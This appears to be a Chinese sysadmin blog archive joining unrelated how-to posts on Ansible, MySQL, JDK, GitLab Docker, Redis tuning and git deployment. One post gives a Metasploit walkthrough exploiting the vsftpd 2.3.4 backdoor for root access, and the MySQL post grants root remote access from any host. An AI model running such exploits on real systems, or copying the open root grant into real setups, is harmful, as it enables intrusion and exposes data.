Centos7安装配置ansible运维自动化工具

一、简介

ansible 和 saltstack 一样都是基于 Python 开发的,是比 puppet 和 saltstack 更轻量级的运维自动化工具。无服务器端,使用时直接运行命令即可,不需要在被管控主机上安装任何客户端,所以任何一台机器只要安装了 ansible 就可以管控其他主机。基于模块工作,可使用任意语言开发模块。也可使用 yaml 语言定制剧本 playbook;基于SSH工作;可实现多级指挥。

二、安装配置

1、准备工作

准备三台机器 Centos7,这两台机器都关闭 selinux,清空 iptables 规则并保存。

  • master:192.168.67.132

  • slaver:192.168.67.129

  • slaver:192.168.2.133

2、编辑 hosts 文件(非必须)

两台都设置,若机器太多,可以通过搭建 DNS,则不用在每台机器上设置这个

  • 192.168.67.132 master.test.com

  • 192.168.67.129 slaver2.test.com

  • 192.168.67.133 slaver3.test.com

3、设置 hostname(非必须)

在 master 上

[root@tree ~]# vim /etc/sysconfig/network
    HOSTNAME=master.test.com

在 slaver 上
[root@tree ~]# vim /etc/sysconfig/network
    HOSTNAME=slaver.test.com

4、安装

//Ansible仓库默认不在yum仓库中,因此我们需要使用下面的命令启用epel仓库
[root@tree ~]# yum install -y epel-release 
//使用yum安装Ansible
[root@tree ~]# yum install -y ansible

5、SSH密钥配置

在Ansible服务端生成密钥,并且复制公钥到节点中。
[root@tree ~]# ssh-keygen -t rsa    //一路回车下去
[root@tree ~]# cat /root/.ssh/id_rsa.pub >> /root/.ssh/authorized_keys

使用ssh-copy-id命令来复制Ansible公钥到节点中
[root@tree ~]# ssh-copy-id -i [email protected]     //输入yes和密码
[root@tree ~]# ssh-copy-id -i [email protected]     //输入yes和密码

6、ansible配置

[root@tree ~]# vim /etc/ansible/hosts
[test-servers]
192.168.67.129
192.168.67.132
192.168.67.133

7、在Ansible服务端运行命令,测试是否成功

未分类

CentOS 6.X RPM安装mysql 5.7.X

准备工作:

下载MySQL:https://dev.mysql.com/downloads/mysql/

下载到/usr/local/src/mysql 目录下(mysql目录是自己创建的,用于存放rpm包)

CentOS 6.X选择版本,如图:

未分类

下载:

  • (mysql-community-server-5.7.19-1.el6.x86_64.rpm)

  • (mysql-community-client-5.7.19-1.el6.x86_64.rpm)

  • (mysql-community-common-5.7.19-1.el6.x86_64.rpm)

  • (mysql-community-libs-5.7.19-1.el6.x86_64.rpm)

或者:

  • (mysql-5.7.19-1.el6.x86_64.rpm-bundle.tar)(里面包括上述所有rpm)

CentOS 7.X选择版本,如图:

未分类

下载:

  • (mysql-community-server-5.7.19-1.el7.x86_64.rpm)

  • (mysql-community-client-5.7.19-1.el7.x86_64.rpm)

  • (mysql-community-common-5.7.19-1.el7.x86_64.rpm)

  • (mysql-community-libs-5.7.19-1.el7.x86_64.rpm)

或者

  • (mysql-5.7.19-1.el7.x86_64.rpm-bundle.tar)(里面包括所有上述rpm)

1、检查是否已安装了MYSQL

rpm -qa | grep -i mysql   //方式1  
yum list installed mysql*   //方式2  

2、删除MYSQL

yum  remove mysql mysql-server mysql-libs compat-mysql51 //删除<a href="http://lib.csdn.net/base/mysql" class='replace_word' title="MySQL知识库" target='_blank' style='color:#df3434; font-weight:bold;'>数据库</a>  
rpm -ev MySQL-server-4.0.14-0 MySQL-client-4.0.14-0    //删除rpm包  

3、查找之前的my.cnf,如果有就删除

whereis my.cnf   //查找方式1  
find / -name my.cnf  //查找方式2  

rm -rf /etc/my.cnf  //删除

3、安装mysql

安装顺序:

  • (mysql-community-common-5.7.19-1.el6.x86_64.rpm)

  • (mysql-community-libs-5.7.19-1.el6.x86_64.rpm)

  • (mysql-community-client-5.7.19-1.el6.x86_64.rpm)

  • (mysql-community-server-5.7.19-1.el6.x86_64.rpm)

cd /usr/local/src/mysql //找到下载的rpm包  
rpm -ivh mysql-community-common-5.7.19-1.el6.x86_64.rpm   
rpm -ivh mysql-community-libs-5.7.19-1.el6.x86_64.rpm   
rpm -ivh mysql-community-client-5.7.19-1.el6.x86_64.rpm   
rpm -ivh mysql-community-server-5.7.19-1.el6.x86_64.rpm  

4、默认安装位置

/var/lib/mysql //数据库目录

/etc/my.cnf //配置文件目录

/usr/bin //相关命令目录

/etc/init.d/mysqld //启动脚本

/usr/sbin/mysqld  //启动脚本

5、启动mysql

service mysqld start   //启动mysql  
service mysqld status  //查看mysql启动状态  

6、找到临时root密码

cat /var/log/mysqld.log |grep password    //查看日志找到密码  
2017-08-08T05:05:55.605159Z 1 [Note] A temporary password is generated for root@localhost: L1kB0wpTo(in  
2017-08-08T05:06:01.287139Z 3 [Note] Access denied for user 'UNKNOWN_MYSQL_USER'@'localhost' (using password: NO)  
2017-08-08T05:10:21.202185Z 4 [Note] Access denied for user 'root'@'localhost' (using password: NO)  
//复制密码  

7、登录MYSQL

mysql -uroot -p   //登录mysql  
alter user 'root'@'localhost' identified by 'Abc@123';  //修改root密码  
//可能会遇到的问题,在5.6后,mysql内置密码增强机制,低强度密码会报错:  
ERROR 1819 (HY000): Your password does not satisfy the current policy requirements  
//修改一个包含大小写及数字的复杂密码即可

8、添加远程用户

use mysql;  
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'abc@123' WITH GRANT OPTION;  
//'%'代表任意地址,也可以指定IP

9、检查用户表,刷新内存权限

select host, user from user;  
FLUSH PRIVILEGES;  

10、设置防火墙

/sbin/iptables -I INPUT -p tcp --dport 3306 -j ACCEPT   //添加3306端口  
/etc/rc.d/init.d/iptables save       //保存配置  
/etc/init.d/iptables save            //也可保存  
/etc/init.d/iptables restart         //重启防火墙  
//或者直接编辑防火墙配置文件  
vim /etc/sysconfig/iptables          //编辑防火墙配置文件  
//其它操作  
/etc/init.d/iptables status          //查看防火墙状态  
/etc/init.d/iptables stop            //关闭防火墙服务  
chkconfig –level 35 iptables off    //永久关闭防火墙  

11、开机启动

chkconfig --list        //查看开机启动项  
chkconfig mysqld on     //设置开机启动  
chkconfig mysqld off    //关闭开机启动  

Linux环境下RPM方式JDK安装及配置

jdk下载

这个到java的官方网站下载自己需要的版本就好了,这里下载了jdk1.7版本的,选择下载了rpm包jdk-7u79-linux-x64.rpm。

rpm安装

rpm -ivh jdk安装包的目录/jdk-7u79-linux-x64.rpm

解释一下:

  • -i,—install 表示安装软件包 install package(s)
  • -v,—verbose 表示安装过程中输出软件包更多的信息 provide more detailed output
  • -h,—hash 表示显示安装进度 print hash marks as package installs (good with -v)

配置环境变量

vim /etc/profile

在最后添加

export JAVA_HOME=/usr/java/jdk1.7.0_79
export JRE_HOME=$JAVA_HOME/jre
export PATH=$PATH:$JAVA_HOME/bin
export CLASSPATH=.:$JAVA_HOME/lib:$JRE_HOME/lib

保存文件,然后执行以下命令使配置文件生效即可。

source /etc/profile

最后测试一下

# java -version
java version "1.7.0_79"
Java(TM) SE Runtime Environment (build 1.7.0_79-b15)
Java HotSpot(TM) 64-Bit Server VM (build 24.79-b02, mixed mode)

至此,安装完成!

使用Docker或者docker-compose搭建gitlab

一. 直接下载docker-ce

1. 拉取gitlab/gitlab-ce

Randy:~ Randy$ docker pull gitlab/gitlab-ce
Using default tag: latest

2. 运行gitlab/gitlab-ce

Randy:~ Randy$ docker run -d --publish 8443:443 --publish 8001:80 --publish 8022:22 --name gitlab-randy --restart always gitlab/gitlab-ce

其中使用publish参数映射host主机上的8443到docker-ce上面的443端口,并制定使用bash。此处可以使用–volume参数来指定docker-ce中的文件到host主机上的路径以便于升级,此处仅作为测试使用。

3. 验证http://127.0.0.1:8001/可以登录,首次登录需要修改密码

二. 使用Docker-compose方式

这种方式是比较灵活,也是官方推荐的安装方式。实际上就是把启动docker的参数配置到文件中,并通过docker-compose up调用。步骤如下:

1. 下载docker-compose.yml文件

wget https://raw.githubusercontent.com/sameersbn/docker-gitlab/master/docker-compose.yml
[root@randysun ~]# wget https://raw.githubusercontent.com/sameersbn/docker-gitlab/master/docker-compose.yml
--2017-08-06 11:36:43--  https://raw.githubusercontent.com/sameersbn/docker-gitlab/master/docker-compose.yml
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.72.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.72.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3836 (3.7K) [text/plain]
Saving to: ‘docker-compose.yml’

100%[============================================================================>] 3,836       --.-K/s   in 0s      

2017-08-06 11:36:44 (64.7 MB/s) - ‘docker-compose.yml’ saved [3836/3836]

2. 在第一步中下载好的文件路径下运行docker-compose up

[root@randysun ~]# docker-compose up
Creating network "root_default" with the default driver
Pulling postgresql (sameersbn/postgresql:9.6-2)...
9.6-2: Pulling from sameersbn/postgresql
c60055a51d74: Downloading [=>                                                 ]  1.615MB/65.69MB
755da0cdb7d2: Download complete
969d017f67e6: Download complete
37c9a9113595: Download complete
a3d9f8479786: Download complete
e43d9de53575: Downloading [==================>                                ]  1.754MB/4.702MB
cddf24084b61: Download complete
f23b95c5f17c: Waiting
3965edbc705f: Waiting
4e6c393fb7f5: Waiting

3. 验证

使用ipconfig ip add grep命令获取本机IP

在 mac 下面输入 ifconfig 或者在 Linux 下面输入 ip a 就可以得到我们的网卡信息。不过通常情况下,我们需要查看的是我们的IP地址,不需要这么多的信息。所以,我想把这些信息给摘取出来。

mac ifconfig 下面的实现

我们输入 ifconfig 会得到大段的信息,我们可以看到我们想要的IP地址前面的字符串是 inet

所以,我们优化一下代码如下:

ifconfig | grep inet

得到如下信息:

    inet 127.0.0.1 netmask 0xff000000
    inet6 ::1 prefixlen 128
    inet6 fe80::1%lo0 prefixlen 64 scopeid 0x1
    inet6 fe80::85e:9798:4041:1717%en0 prefixlen 64 secured scopeid 0x4
    inet 192.168.12.139 netmask 0xffffff00 broadcast 192.168.12.255
    inet6 fd86:415c:c5f9::c72:1c02:f044:65de prefixlen 64 autoconf secured
    inet6 fd86:415c:c5f9::cd76:7bb1:f77d:46f0 prefixlen 64 deprecated autoconf temporary
    inet6 fd86:415c:c5f9::508d:685b:6a66:b3ce prefixlen 64 autoconf temporary
    inet6 fe80::9446:a1ff:fe5e:9b8f%awdl0 prefixlen 64 scopeid 0x9
    inet6 fe80::9d71:6fa:3da5:9cb6%utun0 prefixlen 64 scopeid 0xa

好,已经精简很多了。

我们再排除掉 inet6 和 127 的信息,就可以得到我们的本地IP了

ifconfig | grep inet | grep -v inet6 | grep -v 127

得到

inet 192.168.12.139 netmask 0xffffff00 broadcast 192.168.12.255

最前面是一个制表符,我们不管,我们用空格分割,并取第二个字段,就可以得到我们的IP信息了

ifconfig | grep inet | grep -v inet6 | grep -v 127 | cut -d ' ' -f2

就顺利的得到另外我们想要的本机IP地址。

我们在 ~/.bin/下面创建一个 getip 的文件,并用 chmod +x ~/.bin/getip 赋予执行权限。然后在命令行里输入 getip 就可以得到我们的本机IP了。

需要先把 ~/.bin/ 配置为环境变量,请参考 将这个命令作为一个系统命令,可以随时执行

在 linux centos 7 下面实现获取本机IP的脚本

linux 不使用 ifconfig 命令来获取信息,而是使用 ip a 来获取。

所以我们把上面的命令修改一下,改成

ip a | grep inet | grep -v inet6 | grep -v 127 | sed 's/^[ t]*//g' | cut -d ' ' -f2

由于 linux 中得到的信息的最前面不是制表符而是空格,所以加上了 sed ‘s/^[ t]*//g’ 来清除开头的空格。

其他的逻辑是一样的。如果喜欢的话,也可以搞成全局的,逻辑基本和mac是一致的。

msf远程溢出(21端口)vsftpd漏洞

vsftpd version 2到2.3.4存在后门漏洞,攻击者可以通过该漏洞获取root权限。、

首先,先用nmap进行详细的扫描,命令如下

nmap -sT -A www.0-sec.org -sT

未分类

msf远程溢出(21端口)vsftpd漏洞-Web安全
namp还是比较强大的,会罗列出来 所有端口的详细信息 。 当然我们网站是没有开启21端口的,只是举个例子。
输入msfconsole打开msf
搜索vsftpd漏洞模块

msf > search vsftpd

未分类

已经发现了一个模块,直接调用这个模块

msf >use exploit/unix/ftp/vsftpd_234_backdoor

msf  exploit(vsftpd_234_backdoor) > show options

未分类

msf  exploit(vsftpd_234_backdoor) >set rhost 127.0.0.1

msf  exploit(vsftpd_234_backdoor) >set rpot 21

msf  exploit(vsftpd_234_backdoor) >exploit

未分类

Redis优化建议

本片博客,刚开始会讲解一下redis的基本优化,然后会举一些优化示例代码或实例。最后讲解一下,默认启动redis时,所报的一些警示错误。

优化的一些建议

1、尽量使用短的key

当然在精简的同时,不要完了key的“见名知意”。对于value有些也可精简,比如性别使用0、1。

**2、避免使用keys ***

keys *, 这个命令是阻塞的,即操作执行期间,其它任何命令在你的实例中都无法执行。当redis中key数据量小时到无所谓,数据量大就很糟糕了。所以我们应该避免去使用这个命令。可以去使用SCAN,来代替。

3、在存到Redis之前先把你的数据压缩下

redis为每种数据类型都提供了两种内部编码方式,在不同的情况下redis会自动调整合适的编码方式。

4、设置 key 有效期

我们应该尽可能的利用key有效期。比如一些临时数据(短信校验码),过了有效期Redis就会自动为你清除!

5、选择回收策略(maxmemory-policy)

当 Redis 的实例空间被填满了之后,将会尝试回收一部分key。根据你的使用方式,强烈建议使用 volatile-lru(默认) 策略——前提是你对key已经设置了超时。但如果你运行的是一些类似于 cache 的东西,并且没有对 key 设置超时机制,可以考虑使用 allkeys-lru 回收机制,具体讲解查看 。maxmemory-samples 3 是说每次进行淘汰的时候 会随机抽取3个key 从里面淘汰最不经常使用的(默认选项)

maxmemory-policy 六种方式 :

  • volatile-lru:只对设置了过期时间的key进行LRU(默认值)
  • allkeys-lru : 是从所有key里 删除 不经常使用的key
  • volatile-random:随机删除即将过期key
  • allkeys-random:随机删除
  • volatile-ttl : 删除即将过期的
  • noeviction : 永不过期,返回错误

6、使用bit位级别操作和byte字节级别操作来减少不必要的内存使用。

  • bit位级别操作:GETRANGE, SETRANGE, GETBIT and SETBIT
  • byte字节级别操作:GETRANGE and SETRANGE

7、尽可能地使用hashes哈希存储。

8、当业务场景不需要数据持久化时,关闭所有的持久化方式可以获得最佳的性能。

9、想要一次添加多条数据的时候可以使用管道。

10、限制redis的内存大小(64位系统不限制内存,32位系统默认最多使用3GB内存)

数据量不可预估,并且内存也有限的话,尽量限制下redis使用的内存大小,这样可以避免redis使用swap分区或者出现OOM错误。(使用swap分区,性能较低,如果限制了内存,当到达指定内存之后就不能添加数据了,否则会报OOM错误。可以设置maxmemory-policy,内存不足时删除数据。)

11、SLOWLOG [get/reset/len]

  • slowlog-log-slower-than 它决定要对执行时间大于多少微秒(microsecond,1秒 = 1,000,000 微秒)的命令进行记录。
  • slowlog-max-len 它决定 slowlog 最多能保存多少条日志,当发现redis性能下降的时候可以查看下是哪些命令导致的。

优化实例分析

管道性能测试

redis的管道功能在命令行中没有,但是redis是支持管道的,在java的客户端(jedis)中是可以使用的:

未分类

示例代码

    //注:具体耗时,和自身电脑有关(博主是在虚拟机中运行的数据)
    /**
     * 不使用管道初始化1W条数据
     * 耗时:3079毫秒
     * @throws Exception
     */
    @Test
    public void NOTUsePipeline() throws Exception {
        Jedis jedis = JedisUtil.getJedis();
        long start_time = System.currentTimeMillis();
        for (int i = 0; i < 10000; i++) {
            jedis.set("aa_"+i, i+"");
        }
        System.out.println(System.currentTimeMillis()-start_time);
    }

    /**
     * 使用管道初始化1W条数据
     * 耗时:255毫秒
     * @throws Exception
     */
    @Test
    public void usePipeline() throws Exception {
        Jedis jedis = JedisUtil.getJedis();

        long start_time = System.currentTimeMillis();
        Pipeline pipelined = jedis.pipelined();
        for (int i = 0; i < 10000; i++) {
            pipelined.set("cc_"+i, i+"");
        }
        pipelined.sync();//执行管道中的命令
        System.out.println(System.currentTimeMillis()-start_time);
    }

hash的应用

示例:我们要存储一个用户信息对象数据,包含以下信息:
key为用户ID,value为用户对象(姓名,年龄,生日等)如果用普通的key/value结构来存储,主要有以下2种存储方式:

  • 将用户ID作为查找key,把其他信息封装成一个对象以序列化的方式存储
    缺点:增加了序列化/反序列化的开销,引入复杂适应系统(Complex adaptive system,简称CAS)修改其中一项信息时,需要把整个对象取回,并且修改操作需要对并发进行保护。

未分类

  • 用户信息对象有多少成员就存成多少个key-value对
    虽然省去了序列化开销和并发问题,但是用户ID为重复存储。

未分类

  • Redis提供的Hash很好的解决了这个问题,提供了直接存取这个Map成员的接口。Key仍然是用户ID, value是一个Map,这个Map的key是成员的属性名,value是属性值。( 内部实现:Redis Hashd的Value内部有2种不同实现,Hash的成员比较少时Redis为了节省内存会采用类似一维数组的方式来紧凑存储,而不会采用真正的HashMap结构,对应的value redisObject的encoding为zipmap,当成员数量增大时会自动转成真正的HashMap,此时encoding为ht )。

未分类

Instagram内存优化

Instagram可能大家都已熟悉,当前火热的拍照App,月活跃用户3亿。四年前Instagram所存图片3亿多时需要解决一个问题:想知道每一张照片的作者是谁(通过图片ID反查用户UID),并且要求查询速度要相当的块,如果把它放到内存中使用String结构做key-value:

HSET "mediabucket:1155" "1155315" "939"
HGET "mediabucket:1155" "1155315"
"939"

测试:1百万数据会用掉70MB内存,3亿张照片就会用掉21GB的内存。当时(四年前)最好是一台EC2的 high-memory 机型就能存储(17GB或者34GB的,68GB的太浪费了),想把它放到16G机型中还是不行的。

Instagram的开发者向Redis的开发者之一Pieter Noordhuis询问优化方案,得到的回复是使用Hash结构。具体的做法就是将数据分段,每一段使用一个Hash结构存储.

由于Hash结构会在单个Hash元素在不足一定数量时进行压缩存储,所以可以大量节约内存。这一点在上面的String结构里是不存在的。而这个一定数量是由配置文件中的hash-zipmap-max-entries参数来控制的。经过实验,将hash-zipmap-max-entries设置为1000时,性能比较好,超过1000后HSET命令就会导致CPU消耗变得非常大。

HSET "mediabucket:1155" "1155315" "939"
HGET "mediabucket:1155" "1155315"
"939"

测试:1百万消耗16MB的内存。总内存使用也降到了5GB。当然我们还可以优化,去掉mediabucket:key长度减少了12个字节。

HSET "1155" "315" "939"
HGET "1155" "315"
"939"

启动时WARNING优化

在我们启动redis时,默认会出现如下三个警告:

未分类

  • 一、修改linux中TCP监听的最大容纳数量
WARNING: The TCP backlog setting of 511 cannot be enforced because 
/proc/sys/net/core/somaxconn is set to the lower value of 128.

在高并发环境下你需要一个高backlog值来避免慢客户端连接问题。注意Linux内核默默地将这个值减小到/proc/sys/net/core/somaxconn的值,所以需要确认增大somaxconn和tcp_max_syn_backlog两个值来达到想要的效果。

echo 511 > /proc/sys/net/core/somaxconn

注意:这个参数并不是限制redis的最大链接数。如果想限制redis的最大连接数需要修改maxclients,默认最大连接数为10000

  • 二、修改linux内核内存分配策略
错误日志:WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. 
To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or 
run the command 'sysctl vm.overcommit_memory=1'

原因:
redis在备份数据的时候,会fork出一个子进程,理论上child进程所占用的内存和parent是一样的,比如parent占用的内存为8G,这个时候也要同样分配8G的内存给child,如果内存无法负担,往往会造成redis服务器的down机或者IO负载过高,效率下降。所以内存分配策略应该设置为 1(表示内核允许分配所有的物理内存,而不管当前的内存状态如何)。

内存分配策略有三种

可选值:0、1、2。

  • 0, 表示内核将检查是否有足够的可用内存供应用进程使用;如果有足够的可用内存,内存申请允许;否则,内存申请失败,并把错误返回给应用进程。
  • 1, 不管需要多少内存,都允许申请。
  • 2, 只允许分配物理内存和交换内存的大小(交换内存一般是物理内存的一半)。

  • 三、关闭Transparent Huge Pages(THP)

THP会造成内存锁影响redis性能,建议关闭

Transparent HugePages :用来提高内存管理的性能
Transparent Huge Pages在32位的RHEL 6中是不支持的
执行命令 echo never > /sys/kernel/mm/transparent_hugepage/enabled
把这条命令添加到这个文件中/etc/rc.local

Redis消息队列在后台数据导入、统计中的应用

繁琐的等待

虽然后台管理功能是给客户使用,而且客户也从来没有向我们反映过这块的问题,但是作为一名软件工程师,是有信仰的,不仅是为了软件的功能完整性,还为了更高质量的用户体验。然而这些都是虚的,真正的原因是我们每个人都兼职测试,每次都要在导入数据后进行长时间无聊地等待结果返回。

功能由以下几点组成:

  • 用户在后台上传.xml文件
  • 程序解析.xml文件
  • 将解析后的数据插入数据库表
  • 根据业务合并新旧数据
  • 统计数据

这样繁琐的步骤都在结果之间完成,漫长而无聊的等待正逐渐地榨干我对开发的激情。为了能给自己的信仰一个交代,我决定重构!声明:重构是不算工时和加班的,充其量能利用公司的场地、网络和电灯。

  

Redis 消息队列

鉴于项目中已经使用了 Redis 缓存,为了维护简单,不引入新技术,我采用了 Redis 发布订阅者模式实现消息队列。不涉及分布式,也不涉及优先级,按顺序将消息压入 List,这些消息被不同的服务异步取出并执行相应的处理。

在用户上传.xml文件后,前台页面便返回类似“上传成功”的状态,同时,后台程序将其他处理封装成消息顺序插入List中,直至所有的消息都被异步取走并处理完成。

相比开始的“一条龙服务”,消息队列的应用使得各个任务可以异步完成,节省了时间,改善了用户体验。

git回滚commit并同步远程库

回滚以前很少用,但是今天就出现了这个场景,需要将版本回滚到以前的某个提交。

查看了一下也很简单,按照下面的操作来。

1、先才用命令,将本地的库先回滚。

git reset --hard XXXXX

这个时候,你本地的库已经回滚到你指定的commit,但是这个时候千万不要同步远程库,如果同步那么就悲剧了,又回到了原来的版本,因为远程库的版本还没有回滚。

2、强制回滚远程库

git push -f origin develop

我们都在develop分支做开发,所以提交到develop分支去。

这样,远程库和本地库就同步了,而且都回滚到了你指定的commit那里,nice!

如果是团队协作项目,别人fork了你的代码,那么你就让他在线上先同步远程库,然后他自己的远程库和本地库做同步,把自己本地的需要提交的merge到线上。

最后在提交pullrequest到主库,完美!

用git部署网站代码到生产环境VPS

服务器端git配置

[root@ImmenseGargantuan-VM home]# yum install git -y
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
 * base: repos-lax.psychz.net
 * epel: mirror.hmc.edu
 * extras: mirror.hostduplex.com
 * updates: mirrors.ocf.berkeley.edu
Resolving Dependencies
--> Running transaction check
---> Package git.x86_64 0:1.8.3.1-6.el7_2.1 will be installed
--> Processing Dependency: perl-Git = 1.8.3.1-6.el7_2.1 for package: git-1.8.3.1-6.el7_2.1.x86_64
--> Processing Dependency: perl(Git) for package: git-1.8.3.1-6.el7_2.1.x86_64
--> Running transaction check
---> Package perl-Git.noarch 0:1.8.3.1-6.el7_2.1 will be installed
--> Finished Dependency Resolution

Dependencies Resolved

=============================================================================================================================================================
 Package                             Arch                              Version                                         Repository                       Size
=============================================================================================================================================================
Installing:
 git                                 x86_64                            1.8.3.1-6.el7_2.1                               base                            4.4 M
Installing for dependencies:
 perl-Git                            noarch                            1.8.3.1-6.el7_2.1                               base                             53 k

Transaction Summary
=============================================================================================================================================================
Install  1 Package (+1 Dependent package)

Total download size: 4.4 M
Installed size: 22 M
Downloading packages:
(1/2): perl-Git-1.8.3.1-6.el7_2.1.noarch.rpm                                                                                          |  53 kB  00:00:00     
(2/2): git-1.8.3.1-6.el7_2.1.x86_64.rpm                                                                                               | 4.4 MB  00:00:01     
-------------------------------------------------------------------------------------------------------------------------------------------------------------
Total                                                                                                                        3.7 MB/s | 4.4 MB  00:00:01     
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
  Installing : git-1.8.3.1-6.el7_2.1.x86_64                                                                                                              1/2 
  Installing : perl-Git-1.8.3.1-6.el7_2.1.noarch                                                                                                         2/2 
  Verifying  : perl-Git-1.8.3.1-6.el7_2.1.noarch                                                                                                         1/2 
  Verifying  : git-1.8.3.1-6.el7_2.1.x86_64                                                                                                              2/2 

Installed:
  git.x86_64 0:1.8.3.1-6.el7_2.1                                                                                                                             

Dependency Installed:
  perl-Git.noarch 0:1.8.3.1-6.el7_2.1                                                                                                                        

Complete!
[root@ImmenseGargantuan-VM home]# mkdir git
[root@ImmenseGargantuan-VM home]# cd git/
[root@ImmenseGargantuan-VM git]# mkdir qead.git
[root@ImmenseGargantuan-VM git]# cd qead.git/
[root@ImmenseGargantuan-VM qead.git]# git init --bare
Initialized empty Git repository in /home/git/qead.git/
[root@ImmenseGargantuan-VM qead.git]# cp hooks/post-update.sample  hooks/post-update
[root@ImmenseGargantuan-VM qead.git]# vi hooks/post-update
[root@ImmenseGargantuan-VM qead.git]# cat hooks/post-update
#!/bin/sh
#
# An example hook script to prepare a packed repository for use over
# dumb transports.
#
# To enable this hook, rename this file to "post-update".
//添加此行:work-tree你的网站目录,git-dir你的git版本控制器目录,意义利用git hooks(钩子)实现实时更新网站文件,~~也有人说使用post-receive钩子(无效)~~
git --work-tree=/home/lee/qead --git-dir=/home/git/qead.git/ checkout -f
exec git update-server-info

本地端设置:netbeans为例

1、新建项目并初始化git仓库

未分类

未分类

未分类

2、首次提交到本地仓库,因为在服务器端建立的是空的仓库

未分类

未分类

3、远程推入到服务器端git仓库,配置远程git仓库的信息

未分类

未分类

未分类

未分类

未分类

4、在netbeans新建test文件,先提交本地,在远程推入

未分类

未分类

未分类